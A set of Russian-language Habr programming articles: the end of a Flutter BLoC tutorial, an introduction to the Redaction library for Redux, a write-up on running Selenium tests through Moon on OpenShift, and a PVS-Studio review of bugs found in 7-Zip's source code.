class MyApp extends StatelessWidget {
@override
Widget build(BuildContext context) {
return MultiProvider(
providers: [
Provider(create: (\_) => SwipesBloc()),
],
child: MaterialApp(
title: 'Swipe BLoC + Provider',
```
После добавления этой красивой конструкции в любом виджете внизу дерева нам доступен объект со всеми данными. Подробно как работать с Provider [тут](https://pub.dev/packages/provider) и [тут](https://flutter.dev/docs/development/data-and-backend/state-mgmt/simple).
Далее нам надо сделать так, чтобы при нажатии на кнопочку или свайпе все данные передавались в Stream и, потом, на всех экранах, данные обновлялись из этого же Stream.
**Класс для BLoC**
Для этого мы создаем класс BLoC, в котором описываем не только потоки, но и получение и запись состояния из постоянного хранилища телефона.
```
import 'dart:async';
import 'package:rxdart/rxdart.dart';
import 'package:shared_preferences/shared_preferences.dart';
class SwipesBloc {
Future prefs = SharedPreferences.getInstance();
int \_counter;
SwipesBloc() {
prefs.then((val) {
if (val.get('count') != null) {
\_counter = val.getInt('count') ?? 1;
} else {
\_counter = 1;
}
\_actionController.stream.listen(\_changeStream);
\_addValue.add(\_counter);
});
}
final \_counterStream = BehaviorSubject.seeded(1);
Stream get pressedCount => \_counterStream.stream;
void get resetCount => \_actionController.sink.add(null);
Sink get \_addValue => \_counterStream.sink;
StreamController \_actionController = StreamController();
StreamSink get incrementCounter => \_actionController.sink;
void \_changeStream(data) async {
if (data == null) {
\_counter = 1;
} else {
\_counter = \_counter + data;
}
\_addValue.add(\_counter);
prefs.then((val) {
val.setInt('count', \_counter);
});
}
void dispose() {
\_counterStream.close();
\_actionController.close();
}
}
```
Если мы внимательно посмотрим на этот класс, то увидим, что:
1. Любые свойства доступные снаружи — входы и выходы в Streams.
2. В конструкторе при первом запуске мы пытаемся получить данные из постоянного хранилища телефона.
3. Удобно сделана запись в постоянное хранилище телефона
**Маленькие задачки для лучшего понимания:**
* Вынести из конструктора кусок кода с .then — красивее сделать отдельный метод.
* Попробовать реализовать этот класс без провайдера как Singleton
**Получаем и передаем данные в приложении**
Теперь нам надо передать данные в Stream при нажатии кнопочек или свайпе и получить эти данные на карточке и на отдельном экране.
Есть разные варианты как это сделать, я выбрал классический, мы оборачиваем те части дерева, где нужно получать \ передавать данные в Consumer
```
return Scaffold(
body: Consumer(
builder: (context, \_swipesBloc, child) {
return StreamBuilder(
stream: \_swipesBloc.pressedCount,
builder: (context, snapshot) {
String counterValue = snapshot.data.toString();
return Stack(
children: [
Container(
```
Ну и далее получение данных
`_swipesBloc.pressedCount,`
Передача данных
`_swipesBloc.incrementCounter.add(1);`
Вот и все, мы получили понятный и расширяемый код в правилах BLoC паттерна.
[Рабочий пример](https://github.com/awaik/swipe_bloc_flutter)
Тесты
-----
Тестировать можно виджеты, можно делать моки, можно e2e.
Мы протестим виджеты и запустим приложение с проверкой как сработало увеличение счетчика. Информация по тестам [тут](https://flutter.dev/docs/cookbook/testing) и [тут](https://habr.com/ru/company/surfstudio/blog/468631/).
**Тестирование виджетов**
Если бы у нас были синхронные данные, то мы могли бы протестить все с помощью виджетов. В нашем же случае мы можем проверить только как виджеты создались и как прошла инициализация.
Код [вот тут](https://github.com/awaik/swipe_bloc_flutter), в коде есть попытки проверить увеличение счетчика после нажатия — выдает ошибку, так как данные идут через BLoC.
Для запуска теста используем команду
`flutter test`
**Integration tests (Интеграционные тесты)**
В этом варианте теста приложение запускается на эмуляторе, мы можем нажимать кнопочки, свайпать и проверять что получилось в результате.
Для этого мы создаем 2 файла:
test\_driver/app.dart
test\_driver/app\_test.dart
В первом подключаем что нужно, а во втором непосредственно тесты. Для примера я сделал проверки:
* Начального состояния
* Увеличения счетчика после нажатия кнопочки
```
import 'package:flutter_driver/flutter_driver.dart';
import 'package:test/test.dart';
void main() {
group(
'park-flutter app',
() {
final counterTextFinder = find.byValueKey('counterKey');
final buttonFinder = find.byValueKey('incrementPlusButton');
FlutterDriver driver;
setUpAll(() async {
driver = await FlutterDriver.connect();
});
tearDownAll(() async {
if (driver != null) {
driver.close();
}
});
test('test init value', () async {
expect(await driver.getText(counterTextFinder), ^_^quotquot^_^);
});
test('test + 1 value after tapped', () async {
await driver.tap(buttonFinder);
// Then, verify the counter text is incremented by 1.
expect(await driver.getText(counterTextFinder), ^_^quotquot^_^);
});
},
);
}
```
[Код там же](https://github.com/awaik/swipe_bloc_flutter)
Для запуска теста используем команду
`flutter drive --target=test_driver/app.dart`
Задача
------
Просто для углубления понимания. В современных приложениях (сайтах) часто используется функция Debounce из ReactiveX.
**Например:**
1. В строке поиска вводят слово и подсказка вываливается только когда зазор между набором букв более 2 секунд
2. Когда ставятся лайки, то можно щелкать 10 раз в секунду — запись в базу произойдет если разрыв в щелканьях был более 2-3 секунд
3. … и т.п.
**Задача:** сделать чтобы цифра менялась только если между нажатиями на + или — прошло более 2 секунд. Для этого править только BLoC класс, весь остальной код должен остаться тем же самым.
---
Вот и все. Если что-то криво или неправильно, поправляйте тут или на [github](https://github.com/awaik/swipe_bloc_flutter), попробуем достичь идеала :)
Всем хорошего кодинга! | https://habr.com/ru/post/485002/ | null | ru | null |
# Redux Action Creators. Без констант и головной боли
Всем привет! Эта статья будет полезна тем, кто устал использовать constants в Redux (частично показано на превью выше). Под катом я покажу очередной возможный велосипед и как на нем кататься.
Модуль + документация (<https://github.com/pavelivanov/redaction>)
Введение
========
Использование **Redux** предполагает наличие экшнов (actions) и редьюсеров (reducers), а также констант (constants), которые используются для связи экшнов с редьюсерами посредством передачи type (типа экшна).
Пример использования:
```
const ADD_TODO = 'ADD_TODO'
export {
ADD_TODO
}
```
```
import { ADD_TODO } from 'constants'
export const addTODO = () => {
return (dispatch) => {
dispatch({
type: ADD_TODO,
item
})
}
}
```
```
const ADD_TODO = 'ADD_TODO'
const initialState = {
TODO: []
}
export default (state = initialState, action) => {
switch (action.type) {
case 'ADD_TODO':
return {
...state,
TODO: [
...state.TODO,
action.TODO
]
}
default:
return state
}
}
```
В таком подходе немало минусов, начиная от использования констант, и заканчивая пробрасыванием dispatch метода во все компоненты, где нам необходимо вызвать экшн.
Простые Reducers
================
В **Redaction** я избавился от этих проблем. Все что вам нужно — это создать экшн и использовать его. Все.
Пример того же кода (выше) с использованием **Redaction**:
```
import { createAction } from 'redaction'
export const initialState = {
TODO: []
}
export const addTODO = createAction((state, payload) => {
return {
...state,
TODO: [
...state.TODO,
payload
]
}
})
```
Принципиальное отличие: для передачи начального state делается экспорт из файла.
Request Actions
===============
Что касается request экшнов, **Redaction** предлагает большое кол-во сахара. Пример использования:
Создаем экшн:
```
// actions/users.js
import { createAction } from 'redaction'
export const getFeed = createAction({
endpoint: '/api/users/me/posts',
method: 'GET'
})
```
Вызываем созданный экшн:
```
// containers/Users/Feed.js
import actions from 'core/actions'
actions.users.getFeed({
subset: 'posts'
})
```
В результате вызова getFeed в state будет:
```
{
users: {
posts: {
pending: false,
data: RESPONSE_BODY,
error: null
}
}
}
```
Стоит заметить что createAction и метод, который он возвращает в результате выполнения принимают одинаковые параметры, т.е. subset можно было бы указать и в createAction, а потом еще его и переопределить при вызове в разных местах.
У каждого subset есть 3 состояния:
1) начало запроса { pending: true, data: null, error: null }
2) запрос выполнен { pending: false, data: RESPONSE\_BODY, error: null }
3) запрос выполнен с ошибками { pending: false, data: null, error: RESPONSE\_ERROR }
Больше не нужно мучаться с созданием трех экшенов с тремя разными типами для обработки нужного кейса из редьюсера.
Подробнее о createAction
========================
Для отправки запросов внутри используется **[superagent](http://visionmedia.github.io/superagent/)**. createAction в опциях принимает почти все параметры, которые используются в superagent.
Основные опции:
### params
Любой ключ из опций может быть функцией, в этом случае одним из аргументов этой функции будет объект params. Исключениями являются onResponse и onError
### endpoint
URL запроса.
Пример использования с params:
```
export const getFeed = createAction({
endpoint: ({ userId }) => `/api/users/${userId}/posts`,
method: 'GET'
})
getFeed({
params: {
userId: 100
}
})
```
### subset
Название ключа, в котором будут храниться данные в state. Стоит учесть, что полный путь будет строиться по схеме: НАЗВАНИЕ\_ФАЙЛА.subset
### modifyResponse
Хендлер для редактирования ответа от сервера. Принимает два аргумента — объект Response от сервера и params. Ожидает возвращение нового объекта данных. При этом необходимо возвращать response.body
### modifyState
Хендлер для изменения непосредственно state. Принимает два аргумента — весь объект State и params. Может быть полезно для изменения отдельных частей хранилища при использовании одного экшна. Использовать с осторожностью!
### onResponse
Хендлер, вызывающийся при удачном выполнении запроса, принимает один аргумент — объект Response от сервера
### onError
Хендлер, вызывающийся при невыполнении запроса, принимает два аргумента — объект ошибки и объект Response от сервера
Процесс инициализации Redaction
===============================
Я решил не писать на русском процесс инициализации, все это есть в документации на странице репозитория, НО, если будет достаточно желающих — я могу расширить статью, добавив такое описание.
Заключение
==========
Буду рад, если мой модуль окажется полезен. Открыт для вопросов, замечаний и предложений по расширению функциональности. Исходный код модуля, доступен в [GitHub репозитории](https://github.com/pavelivanov/redaction)
---
**UPD1:** переименовал модуль в **RedAction** ([<https://github.com/pavelivanov/redaction>](https://github.com/pavelivanov/redaction)) | https://habr.com/ru/post/310854/ | null | ru | null |
# Как мы автоматизировали запуск Selenium-тестов через Moon и OpenShift
14 декабря на митапе в Санкт-Петербурге я (Артем Соковец) совместно с коллегой, Дмитрием Маркеловым, рассказывал о текущей инфраструктуре для автотестов в СберТехе. Пересказ нашего выступления — в этом посте.
Что такое Selenium
------------------
Selenium — это инструмент для автоматизации действий веб-браузера. На сегодня данный инструмент является стандартом при автоматизации WEB.
Существует множество клиентов для различных языков программирования, которые поддерживают Selenium Webdriver API. Через WebDriver API, посредством протокола JSON Wire, происходит взаимодействие с драйвером выбранного браузера, который, в свою очередь, работает с уже реальным браузером, выполняя нужные нам действия.
На сегодня стабильная версия клиента — Selenium 3.Х.
Simon Stewart, к слову, обещал представить Selenium 4.0 на конференции [SeleniumConf Japan](http://conf.selenium.jp/).
Selenium GRID
-------------
В 2008 году Philippe Hanrigou анонсировал Selenium GRID для создания инфраструктуры автотестов с поддержкой различных браузеров.
Selenium GRID состоит из хаба и нод (узлов). Node это просто java-процесс. Он может быть и на одной машине с Hub, может быть на другой машине, может быть в Docker контейнере. Hub — это по сути балансировщик для автотестов, определяющий узел, на какой следует отправить выполнение конкретного теста. К нему можно подключить и мобильные эмуляторы.
Selenium GRID позволяет запускать тесты на разных ОС и различных версиях браузеров. Также он существенно экономит время при прогоне большого количества автотестов, если, конечно, автотесты запускаются параллельно с использованием maven-surfire-plugin или другого механизма распараллеливания.
Само собой, Selenium GRID имеет и свои минусы. При использовании стандартной реализации приходится сталкиваться со следующими проблемами:
* постоянным рестартом hub и node. Если хаб и узел долго не используются, то при последующем коннекте возможны ситуации, когда при создании сессии на ноде, эта самая сессия отваливается по таймауту. Для восстановления работы требуется рестарт;
* ограничением на количество узлов. Сильно зависит от тестов и настроек грида. Без танцев с бубном оно начинает тормозить при нескольких десятках подключенных нод;
* скудной функциональностью;
* невозможностью обновлений без полной остановки сервиса.
Первоначальная инфраструктура автотестов в СберТехе
---------------------------------------------------
Ранее в СберТехе была следующая инфраструктура для UI-автотестов. Пользователь запускал сборку на Jenkins-е, который с помощью плагина обращался в OpenStack за выделением виртуальной машины. Происходило выделение ВМ со специальным «образом» и нужным браузером, и только затем на этой ВМ выполнялись автотесты.
Если требовалось прогнать тесты в браузерах Chrome или FireFox, то выделялись Docker-контейнеры. А вот при работе с IE приходилось поднимать «чистую» ВМ, что занимало до 5 минут. К сожалению, Internet Explorer является приоритетным браузером в нашей компании.
Основная проблема была в том, что такой подход занимал очень много времени при прогоне автотестов в IE. Приходилось разделять тесты на suites и стартовать сборки параллельно, чтобы достичь хоть какого-то сокращения времени. Мы стали задумываться о модернизации.
Требования к новой инфраструктуре
---------------------------------
Посещая различные конференции по автоматизации, разработке и DevOps (Heisenbug, SQA Days, CodeOne, SeleniumConf и другие) у нас постепенно формировался список требований к новой инфраструктуре:
* Сократить время на прогон регрессионных тестов;
* Обеспечить единую точку входа для автотестов, что позволит облегчить их отладку для специалиста по автоматизации. Не редки случаи, когда локально все работает, а как только тесты попадают в pipeline – сплошные падения.
* Обеспечить кроссбраузерность и мобильную автоматизацию (Appium-тесты).
* Придерживаться облачной архитектуры банка: управление Docker-контейнерами должно происходить в OpenShift.
* Сократить потребление памяти и CPU.
Краткий обзор существующих решений
----------------------------------
Определившись с задачами, мы проанализировали существующие на рынке решения. Основное, что мы рассмотрели, — продукты команды [Aerokube](https://github.com/aerokube) (Selenoid и Moon), решения Alfalab (Альфа Лаборатория), [JW-Grid](http://github.com/qa-dev/jsonwire-grid) (Авито) и [Zalenium](http://file:///Users/asokovets/Downloads/zalando.github.io/zalenium).
Ключевым минусом Selenoid стало отсутствие поддержки OpenShift (обертка над Kubernetes). О решении Alfalab есть [статья на Хабре](http://habr.com/company/alfa/blog/331434/). Это оказался тот же Selenium Grid. Решение Авито описано в [статье](http://habr.com/company/avito/blog/352208). Доклад о нем мы видели на конференции Heisenbug. В нем тоже были минусы, которые нам не понравились. Zalenium — это опенсорсный проект, также не без проблем.
Рассмотренные нами плюсы и минусы решений сведены в таблицу:
В итоге мы остановили свой выбор на продукте от Aerokube — Selenoid.
Selenoid vs Moon
----------------
Четыре месяца мы использовали Selenoid при автоматизации экосистемы Сбербанка. Это неплохое решение, но Банк движется в сторону OpenShift, а развернуть Selenoid в OpenShift нетривиальная задача. Тонкость в том, что Selenoid в Kubernetes управляет докером последнего, а Kubernetes про это ничего не знает и не может правильно шедулить другие ноды. Кроме того, для Selenoid в Kubernetes требуется GGR (Go Grid Router), в котором хромает распределение нагрузки.
Поэкспериментировав с Selenoid, мы заинтересовались платным инструментом Moon, который ориентирован именно на работу с Kubernetes и обладает рядом преимуществ по сравнению с бесплатным Selenoid. Он развивается уже два года и позволяет развернуть инфраструктуру под Selenium тестирования UI, не тратясь на DevOps инженеров, обладающих тайным знанием о том, как развернуть Selenoid в Kubernetes. Это важное преимущество — попробуйте проапдейтить кластер Selenoid без даунтайма и уменьшения емкости при запущенных тестах?
Moon был не единственным возможным вариантом. К примеру, можно было бы взять Zalenium, упомянутый выше, но фактически это тот же Selenium Grid. У него внутри хранится полный список сессий в хабе, и если хаб падает, то тестам конец. На этом фоне Moon выигрывает за счет того, что не имеет внутреннего состояния, поэтому падение одной из его реплик вообще незаметно. У Moon все «gracefully» — его можно перезапускать безбоязненно, не дожидаясь завершения сессии.
Zalenium имеет и другие ограничения. Например, не поддерживает Quota. Нельзя поставить две его копии за балансировщик распределения нагрузки, потому что он не умеет распределять свое состояние между двумя и более «головами». Да и в целом, он с трудом заведется на своем кластере. Zalenium использует PersistentVolume для хранения данных: логов и записанных видео тестов, но, в основном, это касается дисков в облаках, а не более отказоустойчивого S3.
Инфраструктура автотестов
-------------------------
Нынешняя инфраструктура с использованием Moon и OpenShift выглядит следующим образом:
Пользователь может запускать тесты как локально, так и используя CI-сервер (в нашем случае Jenkins, но могут быть и другие). В обоих случаях мы посредством RemoteWebDriver обращаемся к OpenShift, в котором развернут сервис с несколькими репликами Moon. Далее запрос, в котором указан нужный нам браузер, обрабатывается в Moon, в результате чего посредством Kubernetes API инициирует создание пода с этим браузером. Затем Moon напрямую проксирует запросы в контейнер, где и проходят тесты.
По окончании прогона заканчивается сессия, под удаляются, ресурсы освобождаются.
Запуск Internet Explorer
------------------------
Конечно, не обошлось без сложностей. Как ранее говорилось, целевым браузером для нас является Internet Explorer — большинство наших приложений использует компоненты ActiveX. Поскольку у нас используется OpenShift, наши Docker-контейнеры работают на RedHat Enterprise Linux. Таким образом, встает вопрос: как запустить Internet Explorer в Docker-контейнере, когда хостовая машина у нас на Linux?
Ребята из команды разработчиков Moon поделились своим решением по запуску Internet Explorer и Microsoft Edge.
Недостаток такого решения в том, что Docker-контейнер должен запускаться в привилегированном режиме. Так инициализация контейнера с Internet Explorer после запуска теста у нас занимает 10 секунд, что в 30 раз быстрее по сравнению с использованием предыдущей инфраструктуры.
Troubleshooting
---------------
В заключение мы хотели бы поделиться с вами решениями некоторых проблем, с которыми столкнулись в процессе развертывания и настройки кластера.
Первая проблема — это распространение сервисных образов. Когда moon инициирует создание браузера, помимо контейнера с браузером у нас запускаются дополнительные сервисные контейнеры — логгер, дефендер, видео-рекордер.
Все это запускается в рамках одного пода. И если образы данных контейнеров не закэшированы на нодах, то они будут доставаться с Docker-хаба. У нас на этом этапе все падало, поскольку использовалась внутренняя сеть. Поэтому ребята из Aerokube оперативно вынесли данную настройку в конфиг мапу. Если вы тоже используете внутреннюю сеть, советуем запулить данные образы в свой registry и указать путь до них в конфиг мапе moon-config. В файле service.json нужно добавить секцию images:
```
"images": {
"videoRecorder": "ufs-selenoid-cluster/moon-video-recorder:latest",
"defender": "ufs-selenoid-cluster/defender:latest",
"logger": "ufs-selenoid-cluster/logger:latest"
}
```
Следующую проблему выявили уже при запуске тестов. Вся инфраструктура динамически создавалась, но тест падал через 30 секунд со следующей ошибкой:
```
Driver info: org.openqa.selenium.remote.RemoteWebDriver
Org.openqa.selenium.WebDriverException: 504 Gateway Time-out
====================
The server didn’t respond in time.
```
Почему это происходило? Дело в том, что тест посредством RemoteWebDriver первоначально обращается к routing layer OpenShift, который отвечает за взаимодействие с внешней средой. В роли данного слоя у нас выступает Haproxy, который перенаправляет запросы на нужные нам контейнеры. На практике тест обращался к данному слою, его перенаправляли на наш контейнер, который должен был создать браузер. Но он его создать не мог, так как ресурсы заканчивались. Поэтому тест уходил в очередь, а прокси-сервер через 30 секунд ронял его по таймауту, так как по дефолту на нем стоял именно этот интервал времени.
Как это решить? Все оказалось довольно просто – нужно было просто переопределить аннотацию haproxy.router.openshift.io/timeout для роутера нашего контейнера.
```
$oc annotate route moon --overwrite haproxy.router.openshift.io/timeout=10m
```
Следующий кейс — работа с S3 совместимым хранилищем. Moon умеет записывать то, что происходит в контейнере с браузером. На одной ноде вместе с браузером поднимаются сервисные контейнеры, один из которых — это видеорекордер. Он записывает все, что происходит в контейнере и после окончания сессии отправляет данные в S3 совместимое хранилище. Чтобы отправлять данные в такое хранилище, нужно указать в настройках url, пароли-явки, а также название корзины.
Вроде все просто. Мы указали данные и начали запускать тесты, но файлов в хранилище не оказалось. После разбора логов мы поняли, что используемый для взаимодействия с S3 клиент ругался на отсутствие сертификатов, так как в поле url мы указывали адрес до S3 с https. Решение проблемы — указать незащищенный режим http или же добавить в контейнер свои сертификаты. Последний вариант сложнее, если вы не знаете, что находится в контейнере и как это все работает.
### И напоследок...
Каждый контейнер с браузером можно настроить самостоятельно — все доступные параметры есть в документации Moon. Обратим внимание на такие кастомные настройки, как privileged и nodeSelector.
Нужны они вот для чего. Контейнер с Internet Explorer, как упоминалось выше, должен запускаться только в привилегированном режиме. Работу в нужном режиме обеспечивает флаг privileged вместе с выдачей прав на запуск таких контейнеров сервис-аккаунту.
Чтобы запускать на отдельных нодах, нужно прописать nodeSelector:
```
"internet explorer": {
"default": "latest",
"versions": {
"latest": {
"image": "docker-registry.default.svc:5000/ufs-selenoid-cluster/windows:7",
"port": "4444",
"path": "/wd/hub",
"nodeSelector": {
"kubernetes.io/hostname": "nirvana5.ca.sbrf.ru"
},
"volumes": ["/var/lib/docker/selenoid:/image"],
"privileged": true
}
}
}
```
Последний совет. Следите за количеством запущенных сессий. Мы выводим все запуски в Grafana:
Куда мы стремимся
-----------------
Нас не все устраивает в текущей инфраструктуре и решение пока нельзя назвать законченным. В ближайшем будущем мы планируем стабилизировать работу IE в Docker, получить «богатый» UI-интерфейс в Moon, а также апробировать Appium для мобильных автотестов. | https://habr.com/ru/post/437736/ | null | ru | null |
# Проверяем исходный код 7-Zip с помощью PVS-Studio
Одной из программ, которая позволяет решить задачу сжатия данных, является популярный файловый архиватор 7-Zip, я и сам частенько его использую. Читатели давно обращались к нам с просьбой проверить код данного приложения. Что ж, пришло время заглянуть в его исходники и посмотреть, что интересного сможет найти PVS-Studio.
Введение
--------
Пара слов о проекте. 7-Zip — свободный файловый архиватор с высокой степенью сжатия данных, написанный на языках C и C++. Он имеет небольшой размер в 235 тысяч строк кода. Поддерживает несколько алгоритмов сжатия и множество форматов данных, включая собственный формат 7z с высокоэффективным алгоритмом сжатия LZMA. Программа разрабатывается с 1999 года, она бесплатна и имеет открытый исходный код. 7-Zip является победителем SourceForge.net Community Choice Awards 2007 года в категориях «Лучший проект» и «Лучший технический дизайн». Для проверки была выбрана версия 16.00, исходный код которой был скачен по ссылке <http://www.7-zip.org/download.html>
Результаты проверки
-------------------
Для проверки кода 7-Zip использовался статический анализатор кода [PVS-Studio](http://www.viva64.com/ru/pvs-studio/) v6.04. Для статьи были выбраны и проанализированы наиболее интересные сообщения анализатора. Давайте на них посмотрим.
### Опечатки в условных операторах
Опечатки в условных операторах встречаются в программах достаточно часто. В случае с большим количеством проверок их обнаружение может доставить немало хлопот. В таких случаях на помощь приходит статический анализатор кода.
Приведу несколько примеров данной ошибки.
[V501](http://www.viva64.com/ru/d/0090/) There are identical sub-expressions 'Id == k\_PPC' to the left and to the right of the '||' operator. 7zupdate.cpp 41
```
void SetDelta()
{
if (Id == k_IA64)
Delta = 16;
else if (Id == k_ARM || Id == k_PPC || Id == k_PPC) //<==
Delta = 4;
else if (Id == k_ARMT)
Delta = 2;
else
Delta = 0;
}
```
Анализатор обнаружил одинаковые условные выражения. В лучшем случае одно из условий *Id == k\_PPC* является лишним и не влияет на логику работы программы. Для исправления опечатки необходимо просто убрать это условие, тогда правильное выражение будет иметь следующий вид:
```
if (Id == k_IA64)
Delta = 16;
else if (Id == k_ARM || Id == k_PPC)
Delta = 4;
```
Но возможны и более серьезные последствия такой опечатки, если вместо константы *k\_PPC*, в одном из повторяющихся условий, должна стоять другая константа. В этом случае логика работы программы может быть нарушена.
Вот еще один пример опечатки в условном операторе:
V501 There are identical sub-expressions to the left and to the right of the '||' operator: offs >= nodeSize || offs >= nodeSize hfshandler.cpp 915
```
HRESULT CDatabase::LoadCatalog(....)
{
....
UInt32 nodeSize = (1 << hr.NodeSizeLog);
UInt32 offs = Get16(p + nodeOffset + nodeSize - (i + 1) * 2);
UInt32 offsNext = Get16(p + nodeOffset + nodeSize - (i + 2) * 2);
UInt32 recSize = offsNext - offs;
if (offs >= nodeSize
|| offs >= nodeSize //<==
|| offsNext < offs
|| recSize < 6)
return S_FALSE;
....
}
```
Здесь проблема в повторяющемся условии *offs >= nodeSize*.
Скорее всего, приведенные опечатки получились при использовании Copy-Paste для дублирования кода. Нет смысла призывать отказаться от копирования участков кода. Это слишком удобно и полезно, чтобы лишать себя такой функциональности в редакторе. Необходимо просто более внимательно проверять полученный результат.
### Идентичные сравнения
Анализатор обнаружил потенциально возможную ошибку в конструкции, состоящей из условных операторов. Вот ее пример:
[V517](http://www.viva64.com/ru/d/0106/) The use of 'if (A) {...} else if (A) {...}' pattern was detected. There is a probability of logical error presence. Check lines: 388, 390. archivecommandline.cpp 388
```
static void AddRenamePair(...., NRecursedType::EEnum type, ....)
{
....
if (type == NRecursedType::kRecursed)
val.AddAscii("-r");
else if (type == NRecursedType::kRecursed) //<==
val.AddAscii("-r0");
....
}
```
В коде *NRecursedType* определяется следующим образом:
```
namespace NRecursedType {
enum EEnum {
kRecursed,
kWildcardOnlyRecursed,
kNonRecursed
};
}
```
Получается, что второе условие никогда не выполнится. Попробуем разобраться в этой проблеме подробнее. Исходя из описания параметров командной строки, параметр *-r* говорит об использовании рекурсии для подкаталогов. В случае параметра *-r0* рекурсия используется только для шаблонных имен. Сопоставив это с определением *NRecursedType* можно сделать вывод, что во втором случае должен использоваться тип *NRecursedType::kWildcardOnlyRecursed.* Тогда правильный код будет выглядеть следующим образом:
```
static void AddRenamePair(...., NRecursedType::EEnum type, ....)
{
....
if (type == NRecursedType::kRecursed)
val.AddAscii("-r");
else if (type == NRecursedType::kWildcardOnlyRecursed) //<==
val.AddAscii("-r0");
....
}
```
### Условия, которые всегда истины или ложны
Необходимо внимательно следить, работаете вы со знаковым или беззнаковым типом. Игнорирование этих особенностей может привести к неприятным последствиям.
[V547](http://www.viva64.com/ru/d/0137/) Expression 'newSize < 0' is always false. Unsigned type value is never < 0. update.cpp 254
Так выглядит пример кода из программы в котором эта особенность языка была проигнорирована:
```
STDMETHODIMP COutMultiVolStream::SetSize(UInt64 newSize)
{
if (newSize < 0) //<==
return E_INVALIDARG;
....
}
```
Проблема в том, что *newSize* имеет беззнаковый тип и условие никогда не будет выполнено. Если в функцию *SetSize* будет передано отрицательное значение, то эта ошибка будет проигнорирована и функция начнет использовать некорректный размер. В 7-Zip встретилось еще 2 условия, которые из-за путаницы с signed/unsigned всегда истины или всегда ложны.* V547 Expression 'rec.SiAttr.SecurityId >= 0' is always true. Unsigned type value is always >= 0. ntfshandler.cpp 2142
* V547 Expression 's.Len() >= 0' is always true. Unsigned type value is always >= 0. xarhandler.cpp 258
### Дважды проверяется одно и тоже условие
Анализатор обнаружил потенциально возможную ошибку, связанную с тем, что дважды проверяется одно и тоже условие.
[V571](http://www.viva64.com/ru/d/0169/) Recurring check. The 'if (Result != ((HRESULT) 0L))' condition was already verified in line 56. extractengine.cpp 58
Так выглядит фрагмент кода программы:
```
void Process2()
{
....
if (Result != S_OK)
{
if (Result != S_OK) //<==
ErrorMessage = kCantOpenArchive;
return;
}
....
}
```
Скорее всего, в данной ситуации вторая проверка просто избыточна, но возможна и ситуация, в которой программист после копирования не изменил второе условие, и оно оказалось ошибочным.
Ещё похожие места в коде 7-Zip:* V571 Recurring check. The '!quoteMode' condition was already verified in line 18. stringutils.cpp 20
* V571 Recurring check. The 'IsVarStr(params[1], 22)' condition was already verified in line 3377. nsisin.cpp 3381
### Подозрительная работа с указателями
Встречается в коде 7-Zip и ошибка, когда указатель в начале разыменовывается, а только потом проверяется на равенство нулю.
[V595](http://www.viva64.com/ru/d/0205/) The 'outStreamSpec' pointer was utilized before it was verified against nullptr. Check lines: 753, 755. lzmaalone.cpp 753.
Это очень [распространенная ошибка](http://www.viva64.com/ru/examples/V595/) во всех программах. Возникает она обычно из-за невнимательности в процессе рефакторинга кода. Обращение по нулевому указателю приведет к неопределенному поведению программы. Рассмотрим фрагмент кода приложения, содержащий ошибку данного типа:
```
static int main2(int numArgs, const char *args[])
{
....
if (!stdOutMode)
Print_Size("Output size: ", outStreamSpec->ProcessedSize); //<==
if (outStreamSpec) //<==
{
if (outStreamSpec->Close() != S_OK)
throw "File closing error";
}
....
}
```
Указатель *outStreamSpec* разыменовывается в выражении *outStreamSpec->ProcessedSize*. Затем он проверяется на равенство нулю. Нужно или проверить указатель еще выше или проверка, которая происходит ниже бессмысленна. Вот список подобных потенциально проблемных мест в коде программы:* V595 The '\_file' pointer was utilized before it was verified against nullptr. Check lines: 2099, 2112. bench.cpp 2099
* V595 The 'ai' pointer was utilized before it was verified against nullptr. Check lines: 204, 214. updatepair.cpp 204
* V595 The 'options' pointer was utilized before it was verified against nullptr. Check lines: 631, 636. zipupdate.cpp 631
* V595 The 'volStreamSpec' pointer was utilized before it was verified against nullptr. Check lines: 856, 863. update.cpp 856
### Исключение внутри деструктора
Если в программе возникает исключение, начинается свертывание стека, в ходе которого объекты разрушаются путем вызова деструкторов. Если деструктор объекта, разрушаемого при свертывании стека, бросает еще одно исключение и это исключение покидает деструктор, библиотека C++ немедленно завершает программу, вызывая функцию *terminate()*. Из этого следует, что деструкторы никогда не должны распространять исключения. Исключение, брошенное внутри деструктора, должно быть обработано внутри того же деструктора.
Анализатор выдал следующее сообщение:
[V509](http://www.viva64.com/ru/d/0098/) The 'throw' operator inside the destructor should be placed within the try..catch block. Raising exception inside the destructor is illegal. consoleclose.cpp 62
А вот, как выглядит деструктор генерирующий исключение:
```
CCtrlHandlerSetter::~CCtrlHandlerSetter()
{
#if !defined(UNDER_CE) && defined(_WIN32)
if (!SetConsoleCtrlHandler(HandlerRoutine, FALSE))
throw "SetConsoleCtrlHandler fails"; //<==
#endif
}
```
Сообщение V509 предупреждает, что если объект CCtrlHandlerSetter разрушается в процессе обработки исключения, то новое исключение приведет к немедленному аварийному завершению программы. Данный код следует переписать таким образом, чтобы сообщить об ошибке, возникшей в деструкторе, без использования механизма исключений. Если ошибка не критична, то ее можно игнорировать.
```
CCtrlHandlerSetter::~CCtrlHandlerSetter()
{
#if !defined(UNDER_CE) && defined(_WIN32)
try
{
if (!SetConsoleCtrlHandler(HandlerRoutine, FALSE))
throw "SetConsoleCtrlHandler fails"; //<==
}
catch(...)
{
assert(false);
}
#endif
}
```
### Инкремент переменной типа bool
Исторически сложилось, что для переменных имеющих тип *bool* допустима операция инкремента, она устанавливает значение переменной в *true*. Эта особенность связанна с тем, что раньше для представления булевых переменных использовались целочисленные значения. Впоследствии эта возможность осталась для поддержки обратной совместимости программ. Начиная со стандарта C++98 она помечена как *deprecated* и не рекомендуется к использованию. В готовящемся стандарте С++17 возможность использования инкремента для булевой переменной помечена для удаления.
В коде 7-Zip было найдено пару мест, где используется эта устаревшая возможность.* [V552](http://www.viva64.com/ru/d/0143/) A bool type variable is being incremented: numMethods ++. Perhaps another variable should be incremented instead. wimhandler.cpp 308
* V552 A bool type variable is being incremented: numMethods ++. Perhaps another variable should be incremented instead. wimhandler.cpp 318
```
STDMETHODIMP CHandler::GetArchiveProperty(....)
{
....
bool numMethods = 0;
for (unsigned i = 0; i < ARRAY_SIZE(k_Methods); i++)
{
if (methodMask & ((UInt32)1 << i))
{
res.Add_Space_if_NotEmpty();
res += k_Methods[i];
numMethods++; //<==
}
}
if (methodUnknown != 0)
{
char temp[32];
ConvertUInt32ToString(methodUnknown, temp);
res.Add_Space_if_NotEmpty();
res += temp;
numMethods++; //<==
}
if (numMethods == 1 && chunkSizeBits != 0)
{
....
}
....
}
```
